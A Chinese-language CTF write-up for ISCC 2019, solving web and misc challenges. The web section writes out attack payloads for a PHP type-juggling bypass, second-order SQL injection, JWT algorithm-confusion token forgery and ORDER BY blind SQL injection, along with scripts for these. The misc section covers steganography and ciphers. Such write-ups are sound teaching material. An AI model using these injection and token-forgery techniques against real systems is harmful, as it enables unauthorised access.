这个比赛虽然总体难度不大,但是不得不感叹河南大军恐怖如斯,不准点做题拿个百血真不容易,垂直上分的大佬频繁出现,说这个比赛是一年一度的py大赛还是有点道理的(滑稽)。但是不得不说,参加这比赛还是学到蛮多套路的,脑洞大开,以及让人摸不着头的flag提交格式emmm
Web
web1
首先要求输入的value的ascii码不在可见范围之内,但是最后要求value经过chr拼接后的username为’w3lc0me_To_ISCC2019’
php的chr函数会自动进行mod256,所以使用脚本:
1 | s = "w3lc0me_To_ISCC2019" |
1 | payload:value[]=375&value[]=307&value[]=364&value[]=355&value[]=304&value[]=365&value[]=357&value[]=351&value[]=340&value[]=367&value[]=351&value[]=329&value[]=339&value[]=323&value[]=323&value[]=306&value[]=304&value[]=305&value[]=313 |
再来就是要绕过intval($password) < 2333 && intval($password + 1) > 2333
intval函数处理字符串时,会从头开始检测到除数字以外的字母为止
我们注意到intval($password + 1) > 2333
是先将$password + 1后再经过intval函数的处理,如果$password传入的是十六进制数,例如0x10,那么intval(‘0x10’)结果为0,intval(‘0x10’ + 1)结果为17,这个特性在7.0以上版本不适用
所以只需要把2333转换成16进制即可
payload:password=0x91d
所以最后的payload:
1 | /?value[]=375&value[]=307&value[]=364&value[]=355&value[]=304&value[]=365&value[]=357&value[]=351&value[]=340&value[]=367&value[]=351&value[]=329&value[]=339&value[]=323&value[]=323&value[]=306&value[]=304&value[]=305&value[]=313&password=0x91d |
flag:flag{8311873e241ccad54463eaa5d4efc1e9}
web2
爆破三位数字密码,有图片验证码,需要借助python的pytesseract和Image库来识别图片验证码
脚本如下:
1 | import requests |
但是这题听说可以删掉cookie后直接绕过验证码,密码是996
flag:flag{996_ICU}
web3
sql-labs 24关原题,考察二次注入
注入点在login_create.php中的username字段,注册用户名为admin’#
之后登录admin’#,username字段就赋值给了session中的username字段
在password_change.php中的$username是直接从session中取出的,也就是取出的username为admin’#
拼接到sql语句中:
1 | UPDATE users SET PASSWORD='123' where username='admin'#' and password='$curr_pass' |
用户的密码就被修改为123
但是坑的地方在于这题没有设置容器,所有人共用一个数据库,可能很多人同时一起修改了admin用户的密码,所以有时候修改admin的密码后登陆不成功,并且这个数据库会定时修改所有用户的密码
所以能稳定登陆admin的方法是持续发送修改密码的包,如果admin’#用户被注册,注册admin’########也是可以的
最终登陆成功页面:
web4
考察parse_str变量覆盖
flag{7he_rea1_f1@g_15_4ere}
web6
抓包发现是python
写的网站,一开始有点慌,不过这题不是查考察python
我们登陆一个用户时抓包可以发现头部存在认证字段
1 | Authorization: iscc19 eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiaGh4NjY2IiwicHJpdiI6Im90aGVyIn0.vwB2Jj8TyGQhO6i0EEw6vCIrplCxrh23ZHQ15aWeeoQkYsd5tDSu3cixf-faEfQbLkB-_-6EF4DVxGbR5zGp4MyQn90KeRooOF65xQViZ8qRUVvylU5pJBDCcs-XEE-GdD6qfARNFpdg8toggC0ld5l5OJbeAA9au00xiaCxhzs |
很明显是这个网站采用了JWT身份验证,类似于Session机制,JWT的token结构是Json格式,同时将认证信息以经过加密算法处理后存储在头部的Authorization
字段
根据题目页面的提示:只有admin身份才能查看flag,那么这题多半就是考察伪造admin身份的认证字段登陆
我们可以将我们注册用户的认证字段拉近JWT的生成网站进行解密
解密后得到的字段正是JWT的token三个组成部分:
- Header:
1 | { |
其中alg
为算法的缩写,说明这串认证字符是经过RS256加密的。typ
为类型的缩写
- Payload:
1 | { |
这些是用户的信息
- Signature:
1 | HMACSHA256( |
这部分就是加密算法所使用的密钥
常见的加密算法有RS256和HS256,RS256是非对称加密,需要公钥和私钥才能对数据进行篡改,一般私钥我们是拿不到的,就像这题的认证字段正是经过RS256加密,而HS256则是对称加密,只需要公钥就可以进行伪造
在http://39.100.83.188:8053/static/js/common.js 源码处我们可以看到public key
存放目录:
1 | function getpubkey(){ |
/pubkey
正是存放公钥的目录,它提示了我们公钥可以通过我们注册的用户名和密码的md5加密进行查看,我们访问http://39.100.83.188:8053/pubkey/7035124f823530ce2af7fb19bb625304 可以看到此RS256加密算法采用的公钥:
1 | {"pubkey":"-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDMRTzM9ujkHmh42aXG0aHZk/PK\nomh6laVF+c3+D+klIjXglj7+/wxnztnhyOZpYxdtk7FfpHa3Xh4Pkpd5VivwOu1h\nKk3XQYZeMHov4kW0yuS+5RpFV1Q2gm/NWGY52EaQmpCNFQbGNigZhu95R2OoMtuc\nIC+LX+9V/mpyKe9R3wIDAQAB\n-----END PUBLIC KEY-----","result":true} |
因为私钥无法获取到,所以这时我们就需要将算法修改为HS256,如果将算法从RS256更改为HS256,后端代码会使用公钥作为秘密密钥,然后使用HS256算法验证签名。
生成认证字段的脚本如下:
1 | import jwt |
说明一下1.txt
中存放的公钥为:
1 | -----BEGIN PUBLIC KEY----- |
需要将网页上获得的公钥中\n
替换成换行,并且这里priv
之前是为other
,需要修改为admin
身份,用户名name
猜测为之前认证字段的iscc19
需要额外在python2环境下安装jwt
模块:pip install PyJWT
一开始运行可能会出现下面的报错:
跟踪源库algorithms.py
的源码,会发现prepare_key
函数会检验非法字符,将检验过程去掉,再次运行
得到字符串:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiaXNjYzE5IiwicHJpdiI6ImFkbWluIn0.bEza2gXi7_q9qPFTSgbu8wWRpmHqHd1FFa-rJKY_38c
然后将这串字符添加到头部的Authorization
字段,附加上iscc19
,访问/list
,即可获得admin用户的list
最后访问http://39.100.83.188:8053/text/admin:22f1e0aa7a31422ad63480aa27711277
即可获得flag
这题也是猜用户名iscc19
稍微要有点脑洞的,emmm做的时候运气好直接拿这个用户名来试
参考文章:Json Web Token历险记
web5
这题也是道脑洞题,一开始页面只给了信息:*看来你并不是Union.373组织成员,请勿入内! *
扫描后台也没有结果,无奈只能尝试各种HTTP头部修改的方法,最后发现是在User-Agent
头部字段最后添加上:Union.373
开始提示我们输入用户名和密码,通过POST方式传入参数username
和password
后,提示我们用户密码即为flag
在password
字段加入单引号出现sql报错信息,很明显下面考察的是注出用户的密码
经过fuzz测试,过滤了#
,(
,)
,extractvalue
,sleep
,and
,password
等关键参数,其中最致命的还是过滤了()
,导致很多函数都无法使用
使用万能密码1' or '1
登陆,发现了回显了用户名信息:union_373_Tom
既然有回显,就尝试一下联合查询:
1 | username=union_373_Tom&password=1' union select 1,2,3 or ' |
回显了2
但是这里因为过滤了括号,导致我们无法使用子查询
查阅了一波过滤了括号的注入方式:https://blog.csdn.net/nzjdsds/article/details/81879181
这篇文章里提到的使用union order by
的方式进行排序盲注,思路简单而言就是通过union
使查询结果为union_373_Tom
和我们拼接上的一行查询结果通过order by
对密码password
字段进行排序,并根据回显的用户名信息来判断排序的结果
下面用本地测试的过程来进行思路的说明:
这是users
表中的初始数据,下面我们通过union
插入我们构造的查询结果
可以看到对第三列进行了排序,并且可以根据我们插入的不同密码字段排序结果也不同,在页面上回显的用户名信息也不同:
- union拼接的密码字段排序后比成员密码大,回显用户名:
union_373_Tom
- union拼接的密码字段排序后比成员密码小或相等,回显union拼接的用户名字段
另外因为题目password字段最后还需要闭合单引号,所以采用的是order by 3,'1
,mysql会先根据逗号前面的进行排序,如果数据相等,则使用逗号后的进行排序
所以最后使用的盲注payload为:
1 | username=union_373_Tom&password=1' or '1' union select 1,'hhx','1' from admin order by 3,'1 |
我们知道order by
是对字符串一位位的比较,所以思路就是对union_373_Tom
的密码字段进行逐位的排序比较,根据回显的用户名,如果插入的密码字段大于用户名密码字段,则需要
最后需要弄清楚order by
排序的原理,测试了好久,排序其实是根据字符ascii
码的大小,另外mysql中大小写的字符的排序是相同的,测试后的字典序列为_ZzYyXxWwVvUuTtSsRrQqPpOoNnMmLlKkJjIiHhGgFfEeDdCcBbAa9876543210
脚本代码如下:
1 | import requests |
最后的密码为1SCC_2OI9
flag:flag{1SCC_2OI9}
Misc
隐藏的信息
8进制转16进制,16进制转字符串,最后base64解密得flag
1 |
|
Flag: ISCC{N0_0ne_can_st0p_y0u}
倒立屋
用Stegsolve工具打开
根据倒立屋题目提示,flag就是IsCc_2019倒过来
Keyes’ secret
键盘密码,网上有现成脚本
1 | STR = "RFVGYHNWSXCDEWSXCVWSXCVTGBNMJUY,WSXZAQWDVFRQWERTYTRFVBTGBNMJUYXSWEFTYHNNBVCXSWERFTGBNMJUTYUIOJMWSXCDEMNBVCDRTGHUQWERTYIUYHNBVWSXCDETRFVBTGBNMJUMNBVCDRTGHUWSXTYUIOJMEFVT,QWERTYTRFVBGRDXCVBNBVCXSWERFTYUIOJMTGBNMJUMNBVCDRTGHUWSXCDEQWERTYTYUIOJMRFVGYHNWSXCDEQWERTYTRFVGWSXCVGRDXCVBCVGREDQWERTY(TRFVBTYUIOJMTRFVG),QWERTYGRDXCVBQWERTYTYUIOJMEFVTNBVCXSWERFWSXCDEQWERTYTGBNMJUYTRFVGQWERTYTRFVBMNBVCDRTGHUEFVTNBVCXSWERFTYUIOJMTGBNMJUYIUYHNBVNBVCXSWERFTGBNMJUYMNBVCDRTGHUTYUIOJM,QWERTYWSXIUYHNBVQWERTYGRDXCVBQWERTYTRFVBTGBNMJUYXSWEFTYHNNBVCXSWERFTGBNMJUTYUIOJMWSXCDEMNBVCDRTGHUQWERTYIUYHNBVWSXCDETRFVBTGBNMJUMNBVCDRTGHUWSXTYUIOJMEFVTQWERTYTRFVBTGBNMJUYXSWEFTYHNNBVCXSWERFWSXCDETYUIOJMWSXTYUIOJMWSXTGBNMJUYZAQWDVFR.QWERTYTRFVBTYUIOJMTRFVGQWERTYTRFVBTGBNMJUYZAQWDVFRTYUIOJMWSXCDEIUYHNBVTYUIOJMIUYHNBVQWERTYGRDXCVBMNBVCDRTGHUWSXCDEQWERTYTGBNMJUIUYHNBVTGBNMJUGRDXCVBWSXCVWSXCVEFVTQWERTYWSXCFEWSXCDEIUYHNBVWSXCVGREDZAQWDVFRWSXCDEWSXCFEQWERTYTYUIOJMTGBNMJUYQWERTYIUYHNBVWSXCDEMNBVCDRTGHUEFVGYWSXCDEQWERTYGRDXCVBIUYHNBVQWERTYGRDXCVBZAQWDVFRQWERTYWSXCDEWSXCFETGBNMJUTRFVBGRDXCVBTYUIOJMWSXTGBNMJUYZAQWDVFRGRDXCVBWSXCVQWERTYWSXCDERGNYGCWSXCDEMNBVCDRTGHUTRFVBWSXIUYHNBVWSXCDEQWERTYTYUIOJMTGBNMJUYQWERTYCVGREDWSXEFVGYWSXCDEQWERTYNBVCXSWERFGRDXCVBMNBVCDRTGHUTYUIOJMWSXTRFVBWSXNBVCXSWERFGRDXCVBZAQWDVFRTYUIOJMIUYHNBVQWERTYWSXCDERGNYGCNBVCXSWERFWSXCDEMNBVCDRTGHUWSXWSXCDEZAQWDVFRTRFVBWSXCDEQWERTYWSXZAQWDVFRQWERTYIUYHNBVWSXCDETRFVBTGBNMJUMNBVCDRTGHUWSXZAQWDVFRCVGREDQWERTYGRDXCVBQWERTYXSWEFTYHNGRDXCVBTRFVBRFVGYHNWSXZAQWDVFRWSXCDE,QWERTYGRDXCVBIUYHNBVQWERTYEFVGYWDCFTWSXCDEWSXCVWSXCVQWERTYGRDXCVBIUYHNBVQWERTYTRFVBTGBNMJUYZAQWDVFRWSXCFETGBNMJUTRFVBTYUIOJMWSXZAQWDVFRCVGREDQWERTYGRDXCVBZAQWDVFRWSXCFEQWERTYMNBVCDRTGHUWSXCDEGRDXCVBTRFVBTYUIOJMWSXZAQWDVFRCVGREDQWERTYTYUIOJMTGBNMJUYQWERTYTYUIOJMRFVGYHNWSXCDEQWERTYIUYHNBVTGBNMJUYMNBVCDRTGHUTYUIOJMQWERTYTGBNMJUYTRFVGQWERTYGRDXCVBTYUIOJMTYUIOJMGRDXCVBTRFVBQAZSCEIUYHNBVQWERTYTRFVGTGBNMJUYTGBNMJUZAQWDVFRWSXCFEQWERTYWSXZAQWDVFRQWERTYTYUIOJMRFVGYHNWSXCDEQWERTYMNBVCDRTGHUWSXCDEGRDXCVBWSXCVQWERTYEFVGYWDCFTTGBNMJUYMNBVCDRTGHUWSXCVWSXCFEQWERTY(WSX.WSXCDE.,QWERTYYHNMKJTGBNMJUCVGREDQWERTYYHNMKJTGBNMJUYTGBNMJUZAQWDVFRTYUIOJMEFVTQWERTYNBVCXSWERFMNBVCDRTGHUTGBNMJUYCVGREDMNBVCDRTGHUGRDXCVBXSWEFTYHNIUYHNBVQWERTYWSXZAQWDVFRQWERTYNBVCXSWERFMNBVCDRTGHUTGBNMJUYTRFVGWSXCDEIUYHNBVIUYHNBVWSXTGBNMJUYZAQWDVFRGRDXCVBWSXCVQWERTYIUYHNBVWSXCDETYUIOJMTYUIOJMWSXZAQWDVFRCVGREDIUYHNBV).QWERTYRFVGYHNWSXCDEMNBVCDRTGHUWSXCDEQWERTYGRDXCVBMNBVCDRTGHUWSXCDEQWERTYEFVTTGBNMJUYTGBNMJUMNBVCDRTGHUQWERTYTRFVGWSXCVGRDXCVBCVGRED{WSXIUYHNBVTRFVBTRFVBQWERTYQAZSCEWSXCDEEFVTYHNMKJTGBNMJUYGRDXCVBMNBVCDRTGHUWSXCFEQWERTYTRFVBWSXNBVCXSWERFRFVGYHNWSXCDEMNBVCDRTGHU}QWERTYMNBVCDRTGHUWSXCDEEFVGYWSXCDEMNBVCDRTGHUIUYHNBVWSXCDE-WSXCDEZAQWDVFRCVGREDWSXZAQWDVFRWSXCDEWSXCDEMNBVCDRTGHUWSXZAQWDVFRCVGRED,QWERTYZAQWDVFRWSXCDETYUIOJMEFVGYWDCFTTGBNMJUYMNBVCDRTGHUQAZSCEQWERTYIUYHNBVZAQWDVFRWSXTRFVGTRFVGWSXZAQWDVFRCVGRED,QWERTYNBVCXSWERFMNBVCDRTGHUTGBNMJUYTYUIOJMTGBNMJUYTRFVBTGBNMJUYWSXCVQWERTYGRDXCVBZAQWDVFRGRDXCVBWSXCVEFVTIUYHNBVWSXIUYHNBV,QWERTYIUYHNBVEFVTIUYHNBVTYUIOJMWSXCDEXSWEFTYHNQWERTYGRDXCVBWSXCFEXSWEFTYHNWSXZAQWDVFRWSXIUYHNBVTYUIOJMMNBVCDRTGHUGRDXCVBTYUIOJMWSXTGBNMJUYZAQWDVFR,QWERTYNBVCXSWERFMNBVCDRTGHUTGBNMJUYCVGREDMNBVCDRTGHUGRDXCVBXSWEFTYHNXSWEFTYHNWSXZAQWDVFRCVGRED,QWERTYGRDXCVBZAQWDVFRWSXCFEQWERTYTRFVBMNBVCDRTGHUEFVTNBVCXSWERFTYUIOJMGRDXCVBZAQWDVFRGRDXCVBWSXCVEFVTIUYHNBVWSXIUYHNBVQWERTYGRDXCVBMNBVCDRTGHUWSXCDEQWERTYGRDXCVBWSXCVWSXCVQWERTYIUYHNBVQAZSCEWSXWSXCVWSXCVIUYHNBVQWERTYEFVGYWDCFTRFVGYHNWSXTRFVBRFVGYHNQWERTYRFVGYHNGRDXCVBEFVGYWSXCDEQWERTYYHNMKJWSXCDEWSXCDEZAQWDVFRQWERTYMNBVCDRTGHUWSXCDEQAZXCDEWVTGBNMJUWSXMNBVCDRTGHUWSXCDEWSXCFEQWERTYYHNMKJEFVTQWERTYNBVCXSWERFMNBVCDRTGHUWSXTGBNMJUYMNBVCDRTGHUQWERTYTRFVBTYUIOJMTRFVGQWERTYTRFVBTGBNMJUYZAQWDVFRTYUIOJMWSXCDEIUYHNBVTYUIOJMIUYHNBVQWERTYGRDXCVBTYUIOJMQWERTYWSXCFEWSXCDETRFVGQWERTYTRFVBTGBNMJUYZAQWDVFR." |
flag:FLAG{ISCC KEYBOARD CIPHER}
Aesop’s secret
帧分析,8张图片拼成一张图片
图片末尾最后一串:
U2FsdGVkX19QwGkcgD0fTjZxgijRzQOGbCWALh4sRDec2w6xsY/ux53Vuj/AMZBDJ87qyZL5kAf1fmAH4Oe13Iu435bfRBuZgHpnRjTBn5+xsDHONiR3t0+Oa8yG/tOKJMNUauedvMyN4v4QKiFunw==
BASE64解密后得到Salted__P开头的字符,推测是AES加密
但是网站直接解密失败,猜测有加密的密钥,尝试密钥为拼成图片里的ISCC
解密得U2FsdGVkX18OvTUlZubDnmvk2lSAkb8Jt4Zv6UWpE7Xb43f8uzeFRUKGMo6QaaNFHZriDDV0EQ/qt38Tw73tbQ==
再次以密钥为ISCC进行一次AES解密,就能得到flag了
flag:flag{DugUpADiamondADeepDarkMine}
他们能在一起吗
扫描二维码得到
UEFTUyU3QjBLX0lfTDBWM19ZMHUlMjElN0Q=
进行base64和url解码得到:PASS{0K_I_L0V3_Y0u!}
分析二维码图片,发现其中还藏有其他文件
用binwalk和dd分离出压缩包,dd if=Reply.png of=1.zip skip=8121 bs=1
其中有文件You won’t Wanna see this.txt,解压密码就是0K_I_L0V3_Y0u!
flag:ISCC{S0rrY_W3_4R3_Ju5T_Fr1END}
Welcome
分离文件得到Welcome.txt,是一串密文,以为是什么加密方式,其实规律在于空格,每个句子一个空格代表0,两个空格代表1,最后得到一串二进制转ascii即可得到flag
1 | s = '蓅烺計劃 洮蓠朩暒戶囗 萇條戶囗 萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗 萇條戶囗 萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗 萇條戶囗 萇條蓅烺計劃 洮蓠朩暒戶囗 萇條戶囗 萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗 萇條戶囗 萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗 萇條蓅烺計劃 洮蓠朩暒戶囗 萇條戶囗 萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗 萇條戶囗 萇條戶囗 萇條蓅烺計劃 洮蓠朩暒戶囗 萇條戶囗 萇條戶囗 萇條戶囗 萇條蓅烺計劃 洮蓠朩暒戶囗 萇條戶囗 萇條蓅烺計劃 洮蓠朩暒戶囗 萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗 萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗 萇條蓅烺計劃 洮蓠朩暒戶囗 萇條蓅烺計劃 洮蓠朩暒戶囗 萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗 萇條戶囗 萇條蓅烺計劃 洮蓠朩暒戶囗 萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗 萇條戶囗 萇條蓅烺計劃 洮蓠朩暒戶囗 萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗 萇條戶囗 萇條蓅烺計劃 洮蓠朩暒戶囗 萇條蓅烺計劃 洮蓠朩暒戶囗 萇條戶囗 萇條戶囗 萇條戶囗 萇條戶囗 萇條蓅烺計劃 洮蓠朩暒戶囗 萇條蓅烺計劃 洮蓠朩暒戶囗 萇條蓅烺計劃 洮蓠朩暒戶囗 萇條戶囗 萇條戶囗 萇條蓅烺計劃 洮蓠朩暒戶囗 萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗 萇條蓅烺計劃 洮蓠朩暒戶囗 萇條蓅烺計劃 洮蓠朩暒戶囗 萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗 萇條戶囗 萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗 萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗 萇條戶囗 萇條蓅烺計劃 洮蓠朩暒戶囗 萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗 萇條戶囗 萇條戶囗 萇條戶囗 萇條蓅烺計劃 洮蓠朩暒戶囗 萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗 萇條戶囗 萇條蓅烺計劃 洮蓠朩暒戶囗 萇條蓅烺計劃 洮蓠朩暒戶囗 萇條蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒蓅烺計劃 洮蓠朩暒戶囗 萇條蓅烺計劃 洮蓠朩暒戶囗 萇條蓅烺計劃 洮蓠朩暒戶囗 萇條戶囗 萇條戶囗 萇條戶囗 萇條戶囗 萇條蓅烺計劃 洮蓠朩暒戶囗 萇條' |
flag:flag{ISCC_WELCOME}
无法运行的exe
exe文件用sublime text打开后得到一串密文,用notepad base64解密后得到一个类似png的文件,保存后修改文件头为89 50 4E 47 0D 0A 1A 0A得到正确的png文件,是个二维码,扫描就得到了flag
flag:IScC_2019
最危险的地方就是最安全的地方
一个jpg文件,winhex打开发现里面有东西,修改文件后缀zip,解压后发现是一堆二维码
一个个用winhex打开发现最后一个50.jpg与众不同,flag就藏在里面
flag:15cC9012
没有flag标签,试了几分钟也是挺坑的,还好手快还有前十血emmm
解密成绩单
下载后的文件时一个压缩包,解压需要密码,但是用winhex打开后可以发现文件末尾有504B开头的十六进制数,
发现0908说明存在zip伪加密,将09改为00即可
压缩后时一个exe文件,需要用户名和密码,老样子用winhex打开
发现admin字样,猜测用户名就是admin,密码就是后面那串ISCC开头的字符,这个密码也尝试了挺久的,因为前后存在混淆的字符
最后正确的密码是:ISCCq19pc1Yhb6SqtGhliYH688feCH7lqQxtfa2MpOdONW1wmIleBo4TW5n
登陆后即可获得flag
High起来!
下载后的压缩包解压后得到一张损坏的png图片,在kali下修改png文件头,输入!%xxd
进入十六进制编辑
修改文件头为8950后在命令输入!%xxd -r
返回原来的编码后保存
修复后得到一个二维码,扫描后的内容:中口由羊口中中大中中中井
查询后发现是一个当铺密码,解密网站http://www.zjslove.com/3.decode/dangpu/index.html 解密后得到:201902252228
但是这个还不是flag,我们可以发现png图片中还隐藏了一个mp3文件,将png改成zip解压得到mp3文件,前面又解密得到了密码,所以很明显就是考察mp3隐写,这就需要使用到工具Mp3stego
解密后得到01.mp3.txt文件,内容是:
1 | flag{PrEtTy_1ScC9012_gO0d} |
拿去Unicode解密即可得到flag:flag{PrEtTy_1ScC9012_gO0d}
这里提交的时候也要把flag{}去掉,也是坑
碎纸机
原图可以分离成十个图片,分离后的十张图每张图末尾处都不一样
猜测信息就包含在里面,我们需要将信息提取出来,根据题目提示欧鹏曦文猜测可能需要opencv脚本来提取,但是无奈没写过,只能肉眼识别了
将多出来的这一部分的十六进制复制到notepad++里
点击 设置->首选项->编辑->勾选“显示列边界”->边界宽度设置为51(或26),然后 Ctrl+I ,文本每行就51个字符自动分行了
然后 Ctrl+F->标记->查找目标为0->查找全部 ,就可以给所有0标记颜色,做完这两步后,发现了类似flag的字符:
将10张图片都这样做,选择完整的一边截图然后拼接起来:
flag:Flag={ISCC_is_so_interesting_!}